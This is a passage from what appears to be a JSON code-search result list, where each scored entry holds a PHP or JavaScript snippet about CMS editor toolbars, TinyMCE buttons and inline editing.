"" }, { "docid": "9114574c888fce3e822a4618fee102c4", "score": "0.5406572", "text": "function themewich_add_tinymce() {\n global $typenow;\n\n add_filter( 'mce_external_plugins', 'themewich_add_tinymce_plugin' );\n // Add to line 1 form WP TinyMCE\n add_filter( 'mce_buttons', 'themewich_add_tinymce_button' );\n}", "title": "" }, { "docid": "37e35c00ab7eaebf9a4e3d1c473bc6cc", "score": "0.5392028", "text": "protected function addToolBar() {\n\t\t\t JToolBarHelper::title(JText::_('J2STORE_FIELDS'),'j2store-logo');\n\n\t\t\t\t// Set toolbar items for the page\n\t\t\t\t$edit\t\t= JRequest::getVar('edit',true);\n\t\t\t\t$text = !$edit ? JText::_( 'New' ) : JText::_( 'Edit' );\n\t\t\t\tJToolBarHelper::apply('apply', 'JTOOLBAR_APPLY');\n\t\t\t\tJToolBarHelper::save();\n\t\t\t\tif (!$edit) {\n\t\t\t\t\tJToolBarHelper::cancel();\n\t\t\t\t} else {\n\t\t\t\t\t// for existing items the button is renamed `close`\n\t\t\t\t\tJToolBarHelper::cancel( 'cancel', 'JTOOLBAR_CLOSE' );\n\t\t\t\t}\n\n\n\t\t }", "title": "" }, { "docid": "1c44bd10817a1ce1f3570526ddd40e69", "score": "0.53864497", "text": "protected function handleInlineEditing()\n {\n // Inline editing\n $this->columnConfig->setWidgetOption('enable_inline_editing', false);\n // ullWidgetFormDoctrineChoice demands the 'model' option\n $this->columnConfig->setWidgetOption('model', 'irrelevant');\n \n if ($this->columnConfig->getOption('enable_inline_editing'))\n {\n $entityClasses = $this->columnConfig->getOption('entity_classes');\n \n if (count($entityClasses) > 1)\n {\n throw new InvalidArgumentException('option \"enable_inline_editing\" is only allowed for a sinlge entity_class');\n } \n \n $this->columnConfig->setWidgetOption('enable_inline_editing', true);\n $this->columnConfig->setWidgetOption('model', reset($entityClasses));\n } \n }", "title": "" }, { "docid": "be3327275b5c54b3de2fd64e71e91faf", "score": "0.5349125", "text": "function wp_inline_edit_the_content($content) {\r\n if (!wp_inline_edit_parent_exists(\"the_content\")) {\r\n return $content;\r\n } //!wp_inline_edit_parent_exists(\"the_content\")\r\n if (!in_the_loop()) {\r\n return $title;\r\n } //!in_the_loop()\r\n \r\n if (!current_user_can('edit_published_posts')) {\r\n return $content;\r\n } //!current_user_can('edit_published_posts')\r\n if (is_single() OR is_page()):\r\n global $post;\r\n \r\n $return = wp_inline_edit_get_editor('');\r\n $return .= '<span class=\"wpined-con\" rel=\"' . $post->ID . '\">';\r\n $return .= $content;\r\n $return .= '</span>';\r\n global $temp_ID;\r\n echo $temp_ID;\r\n return $return;\r\n else:\r\n return $content;\r\n endif;\r\n}", "title": "" }, { "docid": "b6dc1e62e69c4be56454348a6fb9f028", "score": "0.5345835", "text": "function caritas_add_mce_button() {\n\n // check user permissions\n if ( !current_user_can( 'edit_posts' ) ) {\n return;\n }\n // check if WYSIWYG is enabled\n if ( 'true' == get_user_option( 'rich_editing' ) ) {\n add_filter( 'mce_external_plugins', 'caritas_add_tinymce_js' );\n add_filter( 'mce_buttons','caritas_register_mce_button');\n }\n}", "title": "" }, { "docid": "f26b3a1bab7e35177cc992b6f3784034", "score": "0.5340719", "text": "protected function addToolbar()\n\t{\n\t\t$app = Factory::getApplication();\n\n\t\t$this->option = $app->input->get('option', 'com_' . EcConst::getPrefix());\n\t\t$this->canDo = EcAdminHelper::getActionsEc($this->option);\n\n\t\tToolbarHelper::title(Text::_(StringHelper::strtoupper($this->option)), 'stack article');\n\n\t\tif ($this->canDo->get('core.admin')) {\n\t\t\tToolbarHelper::divider();\n\t\t\tToolbarHelper::preferences($this->option);\n\t\t}\n\t}", "title": "" }, { "docid": "4caed2e0317c23925872b2941b823964", "score": "0.5311663", "text": "protected function addToolbarEditreferees()\n\t{\n\t\t$app \t= Factory::getApplication();\n\t\t$input = $app->input;\n\t\n\t\tJLToolBarHelper::title(Text::_('COM_JOOMLEAGUE_ADMIN_MATCH_ER_TITLE'),'jl-Matchdays');\n\t\t/*ToolBarHelper::saveGroup(\n\t\t [\n\t\t ['apply', 'match.saveReferees'],\n\t\t ['save', 'match.saveReferees2'],\n\t\t ],\n\t\t 'btn-success'\n\t\t );*/\n\t\tJLToolBarHelper::apply('match.saveReferees');\n\t\tJLToolBarHelper::save('match.saveReferees2');\n\t\tJLToolBarHelper::cancel('match.cancel');\n\t}", "title": "" }, { "docid": "1ca1bfead5f73cd57aaac7e821e8573f", "score": "0.5295698", "text": "public function render_content()\n {\n?>\n<label>\n <span class=\"customize-text_editor\"><?php echo esc_html($this->label); ?></span>\n <input class=\"wp-editor-area\" type=\"hidden\" <?php $this->link(); ?>\n value=\"<?php echo esc_textarea($this->value()); ?>\">\n <?php\n $settings = array(\n 'textarea_name' => $this->id,\n 'media_buttons' => false,\n 'drag_drop_upload' => false,\n 'teeny' => true,\n 'quicktags' => false,\n 'textarea_rows' => 5,\n );\n $this->filter_editor_setting_link();\n wp_editor($this->value(), $this->id, $settings);\n ?>\n</label>\n<?php\n do_action('admin_footer');\n do_action('admin_print_footer_scripts');\n }", "title": "" }, { "docid": "d329beda4ebcbf1817fcb5684f0c1110", "score": "0.52952635", "text": "function isovnTinymce_addbuttons() {\n if ( ( current_user_can('edit_posts') || current_user_can('edit_pages') ) && get_user_option('rich_editing') ) {\n add_filter(\"mce_external_plugins\", \"add_isovnTinymce_tinymce_plugin\");\n add_filter('mce_buttons', 'register_isovnTinymce_button');\n }\n}", "title": "" }, { "docid": "278280d94d5bb73ca468b2de6bf6cc9c", "score": "0.5289151", "text": "private function _templateEditor() {\r\n $this->_render['sidebar'] = array(\r\n 'title' => t('Code Editor'),\r\n 'description' => ucfirst($this->_item),\r\n 'actions' => array(),\r\n 'items' => File::getFilesInDir('templates/'.$this->_item, true, Definition::loadRegistry(INCLUDES_PATH.'/registry/excludededitorfiles.registry'))\r\n );\r\n $this->_render['editor'] = array(\r\n 'file' => (($this->_file) ? $this->_file : ''),\r\n 'type' => 'unknown',\r\n 'form_id' => 'templateEditor'\r\n );\r\n \r\n \r\n }", "title": "" }, { "docid": "665acd0ab6ce9420b808fe62034e1cc9", "score": "0.5281733", "text": "public static function addbuttons() {\n\t\t//if ( get_user_option('rich_editing') == 'true') {\n\t\tadd_filter('mce_external_plugins', 'CrayonTagEditorWP::add_plugin');\n\t\tadd_filter('mce_buttons', 'CrayonTagEditorWP::register_buttons');\n\t}", "title": "" }, { "docid": "15cc4284e5d8348345282e4731796454", "score": "0.5279914", "text": "function BeforeShowAdd(&$xt, &$templatefile, &$pageObject)\n{\n\n\t\t$pageObject->hideItem(\"integrated_edit_field1\");\n\n// Place event code here.\n// Use \"Add Action\" button to add code snippets.\n;\t\t\n}", "title": "" }, { "docid": "cca9de7f243d92ef2ce520b2bd755984", "score": "0.5255057", "text": "public static function inlineEditButtons() {\n $html = '';\n $html .= CHtml::link( \n X2Html::fa('fa-check-circle fa-lg').Yii::t('app', 'Confirm'),\n '#',\n array(\n 'id'=>'inline-edit-save',\n 'class'=>'x2-button icon right inline-edit-button highlight',\n 'style'=>'display:none;',\n 'title'=> Yii::t('app', 'Confirm change to fields')\n )\n );\n\n $html .= CHtml::link(\n X2Html::fa('fa-times fa-lg').' '.Yii::t('app', 'Cancel'),\n '#',\n array(\n 'id'=>'inline-edit-cancel',\n 'class'=>'x2-button icon right inline-edit-button',\n 'style'=>'display:none;',\n 'title'=> Yii::t('app', 'Cancel changes to fields')\n )\n );\n\n return $html;\n }", "title": "" }, { "docid": "f2bcac819a7e953387924e09f870247e", "score": "0.5249978", "text": "public function setEditor( $name );", "title": "" }, { "docid": "489aefe9496eac18125fa5435536d179", "score": "0.52485174", "text": "function add_editor_button() {\n if ( ! current_user_can('edit_posts') && ! current_user_can('edit_pages') )\n return;\n\n // Add only in Rich Editor mode\n if ( get_user_option('rich_editing') == 'true' ) {\n add_filter( 'mce_external_plugins', array(&$this, 'add_myplugin_tinymce_plugin') );\n add_filter( 'teeny_mce_buttons', array(&$this, 'register_myplugin_button') );\n add_filter( 'mce_buttons', array(&$this, 'register_myplugin_button') );\n }\n }", "title": "" }, { "docid": "9345925e5ea13421bb46a3f9f8ff83d4", "score": "0.5246592", "text": "public function use_standard_editing_ui() {\n return true;\n }", "title": "" }, { "docid": "fb277d1f9957a9a07fcf61710647e4ad", "score": "0.5242819", "text": "public function getEditor();", "title": "" }, { "docid": "6504857e51db227a49e78171df18d07c", "score": "0.5239254", "text": "function _wysiwyg_alohaeditor_button_info() {\n return array(\n // @todo\n /*'Bold' => array('title'=> 'Strong', 'css'=> 'wym_tools_strong'),\n 'ToggleHtml' => array('title'=> 'HTML', 'css'=> 'wym_tools_html'),\n 'Preview' => array('title'=> 'Preview', 'css'=> 'wym_tools_preview'),\n */\n );\n}", "title": "" }, { "docid": "6564a563b536112e52c7a53524ffd55d", "score": "0.5218511", "text": "function my_add_mce_button() {\n // check user permissions\n if ( !current_user_can( 'edit_posts' ) && !current_user_can( 'edit_pages' ) ) {\n return;\n }\n // check if WYSIWYG is enabled\n if ( 'true' == get_user_option( 'rich_editing' ) ) {\n add_filter( 'mce_external_plugins', 'my_add_tinymce_plugin' );\n add_filter( 'mce_buttons', 'my_register_mce_button' );\n }\n}", "title": "" }, { "docid": "91e58d773cfd306e8ab01a741188a1bc", "score": "0.5209399", "text": "function editabletemplate($editableId) {\n $dependencies = array('js/editable.js');\n ?>\n <div class=\"row editable\" id=\"<?php echo $editableId; ?>\">\n <div class=\"col-xs-9\">\n <div class=\"col-xs-12 display-value\"></div>\n <!-- INPUT TYPE COULD ACTUALLY DIFFER HERE - NEED TO BUILD A WAY TO CUSTOMIZE THIS -->\n </div>\n <div class=\"col-xs-3\">\n <button class=\"btn btn-primary\">Edit</button>\n <!-- SPINNER -->\n <!-- CHECK MARK ICON -->\n </div>\n </div>\n <?php\n }", "title": "" }, { "docid": "3e720414c0b7eac9d81c1e75c02c1d56", "score": "0.5208282", "text": "function my_add_mce_button() {\n // check user permissions\n if ( !current_user_can( 'edit_posts' ) && !current_user_can( 'edit_pages' ) ) {\n return;\n }\n // check if WYSIWYG is enabled\n if ( 'true' == get_user_option( 'rich_editing' ) ) {\n add_filter( 'mce_external_plugins', 'my_add_tinymce_plugin' );\n add_filter( 'mce_buttons', 'my_register_mce_button' );\n }\n}", "title": "" }, { "docid": "56fdfcacb645aa38031195097673e419", "score": "0.52021575", "text": "function multi_edit( $content, $callback, $extra = null ) {\n\t\treturn $content; //No-op\n\t}", "title": "" }, { "docid": "9fe0fa46c2f2c214901052cf819b29f2", "score": "0.5198376", "text": "function BeforeEdit(&$values, $where, &$oldvalues, &$keys, &$message, $inline, &$pageObject)\n{\n\n\t\t\n\n\nreturn true;\n\n;\t\t\n}", "title": "" }, { "docid": "68b1ee9bae126914fb4a520f8f22cbc2", "score": "0.51963717", "text": "public function __construct() {\n parent::__construct();\n self::$editorID++;\n }", "title": "" }, { "docid": "aa27888a9f75a0327a1f384fc6cfca08", "score": "0.5195109", "text": "public function get_form_editor_inline_script_on_page_render(){\n //return \"your scriipt here\";\n }", "title": "" }, { "docid": "15d0e01570cdc1304086ac0802caa63d", "score": "0.5194436", "text": "function ec_add_editor_buttons( ){\n\tif( current_user_can( 'manage_options' ) ){\n \t\tadd_filter( \"mce_external_plugins\", \"ec_add_buttons\" );\n \tadd_filter( 'mce_buttons', 'ec_register_buttons' );\n\t}\n}", "title": "" }, { "docid": "9da0cd761ffdeb6a708abf60f74722da", "score": "0.5193594", "text": "function add_my_shortcode_tooltip_button() \n{\n global $typenow;\n\n if ( ! current_user_can('edit_posts') && !current_user_can('edit_pages') ) return;\n\n if ( ! in_array( $typenow, array( 'post', 'page' ) ) ) return;\n\n if ( get_user_option( 'rich_editing' ) == 'true' ) \n {\n add_filter('mce_external_plugins', 'my_theme_tooltip_add_tinymce_plugin');\n add_filter('mce_buttons', 'my_theme_tooltip_register_tinymce_plugin');\n }\n}", "title": "" }, { "docid": "d82908292819010c3a1562655ade255f", "score": "0.51737386", "text": "function editor( $name, $label = FALSE, $args = array() ){\n\techo get_editor( $name, $label, $args );\n}", "title": "" }, { "docid": "9ce25a2de3671dcd73d6905adbac0ba4", "score": "0.5173127", "text": "public function _admin_bar_button_frontend_edit( $wp_admin_bar ) {\n\t\tif ( $node = $wp_admin_bar->get_node( 'vc_inline-admin-bar-link' ) ) {\n\t\t\t$node->title = 'Edit Frontend';\n\t\t\t$wp_admin_bar->add_node( get_object_vars( $node ) );\n\t\t}\n\t}", "title": "" }, { "docid": "04e9371cf52c13c67fe028d0713de255", "score": "0.51692086", "text": "function template_edit($id)\r\n\t{\r\n\t\tif(!$this->input->post()){\r\n\t\t\t$email = new Email($id);\r\n\t\t\t$this->load->helper('ckeditor');\r\n \t$this->data['ckeditor'] = array(\r\n\t\t\r\n\t\t\t//ID of the textarea that will be replaced\r\n\t\t\t'id' \t=> \t'content_body_1',\r\n\t\t\t'path'\t=>\t'js/ckeditor',\r\n\t\t\r\n\t\t\t//Optionnal values\r\n\t\t\t'config' => array(\r\n\t\t\t\t'toolbar' \t=> \t\"Full\", \t//Using the Full toolbar\r\n\t\t\t\t'width' \t=> \t\"550px\",\t//Setting a custom width\r\n\t\t\t\t'height' \t=> \t'200px',\t//Setting a custom height\r\n\t\t\t\t\t\r\n\t\t\t),\r\n\t\t\r\n\t\t\t//Replacing styles from the \"Styles tool\"\r\n\t\t\t'styles' => array(\r\n\t\t\t\r\n\t\t\t\t//Creating a new style named \"style 1\"\r\n\t\t\t\t'style 1' => array (\r\n\t\t\t\t\t'name' \t\t=> \t'Blue Title',\r\n\t\t\t\t\t'element' \t=> \t'h2',\r\n\t\t\t\t\t'styles' => array(\r\n\t\t\t\t\t\t'color' \t\t\t=> \t'Blue',\r\n\t\t\t\t\t\t'font-weight' \t\t=> \t'bold'\r\n\t\t\t\t\t)\r\n\t\t\t\t),\r\n\t\t\t\t\r\n\t\t\t\t//Creating a new style named \"style 2\"\r\n\t\t\t\t'style 2' => array (\r\n\t\t\t\t\t'name' \t\t=> \t'Red Title',\r\n\t\t\t\t\t'element' \t=> \t'h2',\r\n\t\t\t\t\t'styles' => array(\r\n\t\t\t\t\t\t'color' \t\t\t=> \t'Red',\r\n\t\t\t\t\t\t'font-weight' \t\t=> \t'bold',\r\n\t\t\t\t\t\t'text-decoration'\t=> \t'underline'\r\n\t\t\t\t\t)\r\n\t\t\t\t)\t\t\t\t\r\n\t\t\t)\r\n\t\t);\r\n\t\t\t//echo \"<pre>\"; print_r($email);die;\r\n\t\t\t$this->load->vars($this->data);\r\n\t\t\t$this->load->vars(array('email'=>$email));\r\n\t\t\t$this->load->view('admin/template_edit');\r\n\t\t\t\r\n\t\t}\r\n\t\telse{\r\n\t\t\t$post = $this->input->post();\r\n\t\t\t$email = new Email($id);\r\n\t\t\t$email->id = $post['id'];\r\n\t\t\t$email->template = $post['template'];\r\n\t\t\t$email->save();\r\n\t\t\tredirect('admin/email_setting','refresh');\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "d9a4f37e1d26e9673ce4ba6f8f3b8dc5", "score": "0.5161857", "text": "protected function addToolbar()\n\t{\n\t\t$canDo \t= SermonspeakerHelper::getActions();\n\t\tJToolBarHelper::title(JText::_('COM_SERMONSPEAKER'), 'speakers');\n\t\tif ($canDo->get('core.admin')) {\n\t\t\tJToolbarHelper::divider();\n\t\t\tJToolBarHelper::preferences('com_sermonspeaker', 650, 900);\n\t\t}\n\t}", "title": "" }, { "docid": "c24aca7a977b80f2a50c13b3d06fbd3d", "score": "0.51591724", "text": "private function registerEditorPlugin()\r\n {\r\n $al = AssetList::getInstance();\r\n\r\n $al->register(\r\n 'javascript',\r\n 'editor/ckeditor4/codesnippet',\r\n 'js/plugins/codesnippet/register.js',\r\n [],\r\n 'ckeditor_codesnippet'\r\n );\r\n\r\n $plugin = $this->app->make(Plugin::class);\r\n $plugin->setKey('codesnippet');\r\n $plugin->setName('Codesnippet');\r\n $plugin->requireAsset('javascript', 'editor/ckeditor4/codesnippet');\r\n\r\n /** @var \\Concrete\\Core\\Editor\\PluginManager $pluginManager */\r\n $pluginManager = $this->app->make('editor')\r\n ->getPluginManager();\r\n\r\n $pluginManager->register($plugin);\r\n }", "title": "" }, { "docid": "0df5c7daee3f1f3c8da0aea207709652", "score": "0.5158672", "text": "function inline_before_post() { do_action( 'inline_before_post' ); }", "title": "" }, { "docid": "2d898017ef1e1180b6f5c83d357451a0", "score": "0.5156961", "text": "function jceEditorArea( $name, $content, $hiddenField, $width, $height, $col, $row, $params=null ) {\r\n\tglobal $_MAMBOTS, $mainframe;\r\n\t$buttons='';\r\n\tif(!$params || $params['m_buttons']) {\r\n\t\t$results = $_MAMBOTS->trigger( 'onCustomEditorButton' );\r\n\t\t$buttons = array();\r\n\r\n\t\tforeach( $results as $result ) {\r\n\t\t\tif($result[0]) {\r\n\t\t\t\t$buttons[] = '<img src=\"'.JPATH_SITE.'/mambots/editors-xtd/'.$result[0].'\" onclick=\"tinyMCE.execCommand(\\'mceInsertContent\\',false,\\''.$result[1].'\\')\" />';\r\n\t\t\t}\r\n\t\t}\r\n\t\t$buttons = implode( '', $buttons );\r\n\t}\r\n\r\n\r\n\r\n\t?>\r\n<textarea id=\"<?php echo $hiddenField;?>\" name=\"<?php echo $hiddenField;?>\" cols=\"<?php echo $col;?>\" rows=\"<?php echo $row;?>\" style=\"width:<?php echo $width;?>px; height:<?php echo $height;?>px;\" mce_editable=\"true\" class=\"mceEditor\"><?php echo $content;?></textarea>\r\n<script type=\"text/javascript\">\r\n\tfunction jceOninit(){\r\n\t\tjceFunctions.initEditorMode('<?php echo $hiddenField;?>');\r\n\t}\r\n</script>\r\n<br />\r\n\t<?php echo $buttons;?>\r\n\t<?php }", "title": "" }, { "docid": "57e67288a5c491e0296d573494e5cc01", "score": "0.5154907", "text": "function InlineEditMode() {\r\n\t\tglobal $Security, $Language;\r\n\t\tif (!$Security->CanEdit())\r\n\t\t\t$this->Page_Terminate(\"login.php\"); // Go to login page\r\n\t\t$bInlineEdit = TRUE;\r\n\t\tif (@$_GET[\"Id_Articulo\"] <> \"\") {\r\n\t\t\t$this->Id_Articulo->setQueryStringValue($_GET[\"Id_Articulo\"]);\r\n\t\t} else {\r\n\t\t\t$bInlineEdit = FALSE;\r\n\t\t}\r\n\t\tif ($bInlineEdit) {\r\n\t\t\tif ($this->LoadRow()) {\r\n\t\t\t\t$this->setKey(\"Id_Articulo\", $this->Id_Articulo->CurrentValue); // Set up inline edit key\r\n\t\t\t\t$_SESSION[EW_SESSION_INLINE_MODE] = \"edit\"; // Enable inline edit\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "67e28331f3312e9e4eff3dcb2682dd02", "score": "0.5153847", "text": "function button_before_main_editor( $post ) {\n\techo '<div class=\"hummer\" style=\"text-align: right;\"><a href=\"#\" id=\"il_builder-trigger\" class=\"button button-primary button-large\">Inject Layout Builder</a></div>';\n\n}", "title": "" }, { "docid": "e4c9e0064aca5657c8489f2166de6bdd", "score": "0.51396334", "text": "protected function addToolbar()\n\t{\n // Set toolbar items for the page\n\t\t$this->title = Text::_('COM_SPORTSMANAGEMENT_ADMIN_QUOTES_TITLE');\n\t\tToolbarHelper::addNew('smquote.add');\n\t\tToolbarHelper::editList('smquote.edit');\n\t\tToolbarHelper::custom('smquote.import', 'upload', 'upload', Text::_('JTOOLBAR_UPLOAD'), false);\n \n ToolbarHelper::custom('smquotes.edittxt', 'featured.png', 'featured_f2.png', Text::_('JTOOLBAR_EDIT'), false);\n \n\t\t$bar = Toolbar::getInstance('toolbar');\n //$bar->appendButton('Link', 'info', 'Kategorie', 'index.php?option=com_categories&view=categories&extension=com_sportsmanagement');\n\t\t$bar->appendButton('Link', 'info', 'Kategorie', 'index.php?option=com_categories&extension=com_sportsmanagement');\n \n\t\tToolbarHelper::archiveList('smquote.export', Text::_('JTOOLBAR_EXPORT'));\n\t\t\n \n\t\tparent::addToolbar();\n\t}", "title": "" }, { "docid": "cd3a991506d6576a41f8a938048a301a", "score": "0.5134361", "text": "function add_wysiwyg_editor_to_amelia_events_desc_editor(){\r\n ?>\r\n\t<script src=\"/assets/tinymce/tinymce.min.js\" referrerpolicy=\"origin\"></script>\r\n <script>\r\n\t\tconst editor_id = \"amelia_event_desc_<?=time()?>\";\r\n\r\n\t\tdocument.addEventListener(\"click\", function(){\r\n\t\t\tinitAmeliaEventDescTextArea();\r\n\t\t});\r\n\r\n\t\tfunction initAmeliaEventDescTextArea() {\r\n\t\t\t// console.log(tinymce.editors);\r\n\t\t\t// console.log(tinymce.activeEditor);\r\n\t\t\tconst inputField = jQuery(document).find('.el-textarea__inner');\r\n\t\t\tconst currentId = inputField.attr(\"id\") || editor_id;\r\n\t\t\tinputField.attr(\"id\", currentId);\r\n\t\t\tif(!inputField.hasClass(\"ameliaEventDesc\")){\r\n\t\t\t\tinputField.addClass(\"ameliaEventDesc\");\r\n\t\t\t}\r\n\t\t\ttinymce.remove('#'+currentId);\r\n\t\t\ttinymce.init({\r\n\t\t\t\tmenubar:false,\r\n \t\t\tstatusbar: false,\r\n\t\t\t\tselector: '#'+currentId, setup: function (ed) {\r\n\t\t\t\t\ted.on('change', function (e) {\r\n\t\t\t\t\t\tif(tinymce.activeEditor){\r\n\t\t\t\t\t\t\tupdateAmeliaEventDescVueField(currentId);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t});\r\n\t\t\t\t}\r\n\t\t\t});\t\r\n\t\t\t\r\n\t\t}\r\n\r\n\t\tfunction updateAmeliaEventDescVueField(currentId){\r\n\t\t\tconst newContent = tinymce.get(currentId).getContent({ format: 'html' });\r\n\t\t\tconst textField = jQuery(document).find('.el-textarea__inner');\r\n\t\t\ttextField.val(newContent)[0].dispatchEvent(new Event('input'))\r\n\t\t}\r\n\r\n\t\tfunction doesEventDescriptionFieldExists(){\r\n\t\t\tif(jQuery('#'+editor_id).position() == undefined){\r\n\t\t\t\tinitAmeliaEventDescTextArea();\r\n\t\t\t}\r\n\t\t\t// check every two seconds\r\n\t\t\tsetTimeout(doesEventDescriptionFieldExists, 2000);\r\n\t\t}\r\n\r\n\t\t// consistently check for class ameliaEventDesc\r\n\t\tdoesEventDescriptionFieldExists();\r\n\r\n </script>\r\n <?php\r\n}", "title": "" }, { "docid": "95b69f55fbe90ca2f2ad7815d060de02", "score": "0.51259536", "text": "public function add_editor_buttons()\n {\n global $typenow;\n\n // Check if we are on our own page\n if ($typenow !== self::$post_type) {\n return;\n }\n\n if (get_user_option('rich_editing') == 'true') {\n add_filter('mce_external_plugins', array($this, 'add_tinymce_plugin'));\n add_filter('mce_buttons', array($this, 'register_custom_editor_buttons'));\n add_filter('tiny_mce_before_init', array($this, 'modify_tinymce_config'));\n }\n }", "title": "" }, { "docid": "9f9356e5ee5a0dbf6b0af8efa47965b2", "score": "0.5125199", "text": "function auto_add_icopyright_toolbars($content) {\r\n\r\n //get settings from icopyright_admin option array\r\n\r\n // Do nothing if it isn't appropriate for us to add the content anyway\r\n $display_status = get_option('icopyright_display'); //deployment\r\n if(($display_status != 'auto') || is_feed() || is_attachment()) {\r\n return $content;\r\n }\r\n $selected_toolbar = get_option('icopyright_tools'); //toolbar selected\r\n\r\n //Single Post Display Option\r\n //valves includes, both, tools, notice.\r\n //both - means display both article tools and interactive copyright notice\r\n //tools - means display only article tools\r\n //notice - means displays only interactive copyright notice\r\n $single_display_option = get_option('icopyright_show');\r\n\r\n //Multiple Post Display Option\r\n //valves includes, both, tools, notice.\r\n //both - means display both article tools and interactive copyright notice\r\n //tools - means display only article tools\r\n //notice - means displays only interactive copyright notice\r\n //nothing - means hide all article tools and interactive notice.\r\n $multiple_display_option = get_option('icopyright_show_multiple');\r\n\r\n // What modes are we paying attention to?\r\n if(is_single() || is_page()) {\r\n $show_toolbar = ($single_display_option == 'both') || ($single_display_option == 'tools');\r\n $show_icn = ($single_display_option == 'both') || ($single_display_option == 'notice');\r\n } else {\r\n $show_toolbar = ($multiple_display_option == 'both') || ($multiple_display_option == 'tools');\r\n $show_icn = ($multiple_display_option == 'both') || ($multiple_display_option == 'notice');\r\n }\r\n\r\n // Build the toolbar and ICN if we need to display them\r\n $pre = '';\r\n $post = '';\r\n if($show_toolbar) {\r\n if($selected_toolbar == 'horizontal')\r\n $pre = icopyright_horizontal_toolbar();\r\n else if($selected_toolbar == 'vertical')\r\n $pre = icopyright_vertical_toolbar();\r\n else\r\n $pre = icopyright_onebutton_toolbar();\r\n }\r\n if($show_icn) {\r\n $post = icopyright_interactive_notice();\r\n }\r\n\r\n // Regardless, return what we have\r\n return $pre . $content . $post;\r\n}", "title": "" }, { "docid": "d276a627452d13ca72064c973cda253f", "score": "0.51222616", "text": "function theclick_editor_styles()\n{\n add_editor_style('assets/admin/css/editor.css');\n}", "title": "" }, { "docid": "1983e71333d5f5c29409974889ec984a", "score": "0.51213455", "text": "function bbp_allow_content_edit($default = 1)\n{\n}", "title": "" }, { "docid": "1e187d5ef9dfda0cfed54ee6a41a5c7e", "score": "0.51140875", "text": "public function setButtonToolbar(FormField $form_field): ButtonToolbarable;", "title": "" }, { "docid": "282f84f0e31268a268e7b920309be193", "score": "0.5099441", "text": "public function settings_section() {// callback to add title and help text\n\t\t\techo '<h3 id=\"ydwh_greet\">Toolbar Greeting</h3><em>Change the greeting in the toolbar. Default: <strong>Howdy</strong> </em><br>';\n\t\t}", "title": "" }, { "docid": "28e01b40286549b5313c4b41bd40ee2c", "score": "0.50923204", "text": "protected function addToolbar() {\n // Set toolbar items for the page\n JToolBarHelper::save('jsminlinehockey.getteams', 'COM_SPORTSMANAGEMENT_JSMINLINEHOCKEY_GET_TEAMS');\n JToolBarHelper::save('jsminlinehockey.getclubs', 'COM_SPORTSMANAGEMENT_JSMINLINEHOCKEY_GET_CLUBS');\n\n if ($this->projectid) {\n JToolBarHelper::save('jsminlinehockey.getmatches', 'COM_SPORTSMANAGEMENT_JSMINLINEHOCKEY_GET_MATCHES');\n }\n }", "title": "" }, { "docid": "d6c672bc8c49fa4c61c6d41a2e84565d", "score": "0.50921047", "text": "function wysiwyg_openwysiwyg_plugins($editor) {\n $plugins = array(\n 'default' => array(\n 'buttons' => array(\n 'bold' => t('Bold'), 'italic' => t('Italic'), 'underline' => t('Underline'),\n 'strikethrough' => t('Strike-through'),\n 'justifyleft' => t('Align left'), 'justifycenter' => t('Align center'), 'justifyright' => t('Align right'), 'justifyfull' => t('Justify'),\n 'unorderedlist' => t('Bullet list'), 'orderedlist' => t('Numbered list'),\n 'outdent' => t('Outdent'), 'indent' => t('Indent'),\n 'undo' => t('Undo'), 'redo' => t('Redo'),\n 'createlink' => t('Link'),\n 'insertimage' => t('Image'),\n 'cleanup' => t('Clean-up'),\n 'forecolor' => t('Forecolor'), 'backcolor' => t('Backcolor'),\n 'superscript' => t('Sup'), 'subscript' => t('Sub'),\n 'blockquote' => t('Blockquote'), 'viewSource' => t('Source code'),\n 'hr' => t('Horizontal rule'),\n 'cut' => t('Cut'), 'copy' => t('Copy'), 'paste' => t('Paste'),\n 'visualaid' => t('Visual aid'),\n 'removeformat' => t('Remove format'),\n 'charmap' => t('Character map'),\n 'headings' => t('HTML block format'), 'font' => t('Font'), 'fontsize' => t('Font size'),\n 'maximize' => t('Fullscreen'),\n 'preview' => t('Preview'),\n 'print' => t('Print'),\n 'inserttable' => t('Table'),\n 'help' => t('Help'),\n ),\n 'internal' => TRUE,\n ),\n );\n return $plugins;\n}", "title": "" }, { "docid": "33cef79a0e5e6e23f92096823b53a8ea", "score": "0.5091676", "text": "private function display_edit(){\n \n echo \"\";\n echo \"<textarea id='art_content'>\";\n $path= ProgramManager::getHomeDir().\"/../articles/\".$this->article['id'].\"/\".$this->article['id'].\".art\";\n \n \n \n if(!file_exists($path))\n echo \"Prazdy clanok\";\n else{\n $article= fopen($path, \"r\");\n while(!feof($article))\n echo fgets($article);\n fclose($article);\n }\n echo \"</textarea>\";\n echo \"<script type='text/javascript'>\n function load_editor(){\n var editor=CKEDITOR.instances['art_content'];\n if(editor) editor.destroy(true);\n CKEDITOR.replace('art_content',\n {\n customConfig: '../config/my_config.js',\n toolbar: 'Article', \n filebrowserBrowseUrl: 'redakcia/utilities/browser/browser.php?article_id=\".$this->article['id'].\"',\n baseHref:'../'\n\n });\n };\n var src='redakcia/utilities/ckeditor/ckeditor.js';\n if(!scriptloader.empty(src))\n load_editor();\n else\n scriptloader.load_script('redakcia/utilities/ckeditor/ckeditor.js','js',load_editor);\n\n </script>\";\n }", "title": "" }, { "docid": "290162f6eee598845b26949acd1fd53d", "score": "0.508751", "text": "public function edit();", "title": "" }, { "docid": "5fabc8143f6cafed529e9507e7b45f4e", "score": "0.50811577", "text": "protected function addToolbar()\n\t{\n\t\t//JFactory::getApplication()->input->set('hidemainmenu', true);\n\n\t\t$canDo = JHelperContent::getActions('com_hecmailing');\n\n\t\tJToolbarHelper::title(JText::_('COM_HECMAILING_PARAMETERS_TITLE'));\n\n\t\tif ($canDo->get('core.admin'))\n\t\t{\n\t\t\tJToolbarHelper::preferences('com_hecmailing');\n\t\t\tJToolbarHelper::divider();\n\t\t}\n\t\t\n\t\tJToolbarHelper::divider();\n\t\tJToolbarHelper::help('JHELP_HECMAILING_CONTACT_EDIT');\n\t}", "title": "" }, { "docid": "42a6f7faed666f60d3cd9a768b3e2077", "score": "0.50733316", "text": "function wishdd_mce_button() {\n // Check if user have permission\n if ( !current_user_can( 'edit_posts' ) && !current_user_can( 'edit_pages' ) ) {\n return;\n }\n // Check if WYSIWYG is enabled\n if ( 'true' == get_user_option( 'rich_editing' ) ) {\n add_filter( 'mce_external_plugins', 'wishdd_tinymce_plugin' );\n add_filter( 'mce_buttons', 